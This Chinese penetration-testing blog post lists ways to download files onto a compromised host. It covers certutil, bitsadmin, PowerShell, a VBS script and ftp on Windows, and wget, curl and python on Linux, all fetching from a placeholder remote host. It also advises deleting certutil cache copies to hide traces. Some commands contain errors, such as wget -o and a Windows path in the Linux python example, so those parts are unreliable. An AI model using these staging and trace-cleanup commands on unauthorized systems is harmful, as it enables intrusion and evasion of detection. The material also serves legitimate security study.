渗透测试中常用的文件下载方式总结

0x01 Windows

certutil

certutil是Windows自带的工具,具有下载文件,校验文件MD5、SHA1、SHA256,文件base64编码等功能。

使用certutil下载文件,保存在当前路径,文件名称与下载文件名称相同:

certutil -urlcache -split -f http://remote.url/certutil.test

保存当前路径,指定保存文件名称:

certutil -urlcache -split -f http://remote.url/certutil.test test.test

certutil下载文件会在缓存目录保存副本,真实渗透中我们需要清除副本

直接到缓存目录删除文件,缓存目录为%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

使用命令行删除缓存副本:

certutil -urlcache -split -f http://remote.url/certutil.test delete

bitsadmin

bitsadmin也是Windows的下载命令之一,但是它只适用于Windows7及以上的系统版本。

使用bitsadmin下载文件,指定保存路径与文件名:

bitsadmin /transfer n http://remote.url/bitsadmin.test  c:\users\Administrator\Desktop\bitsadmin\bitsadmin

powershell

powershell是一款强大的命令执行工具,可以使用powershell进行文件下载,适用于带有powershell的Windows系统,Windows7及以上系统默认自带powershell。

使用powershell下载文件,指定保存路径与文件名:

powershell (new-object Net.WebClient).DownloadFile('http://remote.url/powershell.test','c:\users\administrator\desktop\powershell\powershell')

vbs

vbs是基于Visual Basic的脚本语言,Windows自带vbs的脚本解释器,可以在Windows系统中直接运行vbs脚本。

使用vbs脚本下载文件,指定保存路径与文件名,脚本代码如下:

Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2  //^:转义后面的字符

将代码保存为.vbs文件,使用.vbs文件下载文件,指定保存路径与文件名:

ftp

利用文件传输协议ftp进行文件下载。首先在远端搭建ftp服务,然后在需要下载的机器中创建如下文件:

open 103.x.x.x(ftp服务端地址)
user_name(用户名)
user_pass(密码)
get file(文件名)
quit

使用ftp命令下载文件:

ftp -i -s:command.txt

0x02 Linux

wget

关于wget的功能想必不用过多赘述,是Linux系统中使用较多的下载工具。

使用wget下载文件,指定保存的文件名和路径:

wget http://remote.url/wget.test -o /root/downloadtest/testwget

curl

curl是利用url语法在命令行下进行文件传输的工具。

使用curl下载文件,指定保存的文件名和路径:

curl -o /root/downloadtest/testcurl http://remote.url/curl.test    //o为小写

python

利用Linux自带的python语言实现文件下载:

#python3:
python -c "import urllib.request; url = 'http://remote.url/python.test'; urllib.request.urlretrieve(url, '/root/downloadtest/testpython')"

#python2:
python -c "import urllib2;u=urllib2.urlopen('http://remote.url/python.test');localfile=open('c:/users/administrator/desktop/1.py','w');localfile.write(u.read());localfile.close();"

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值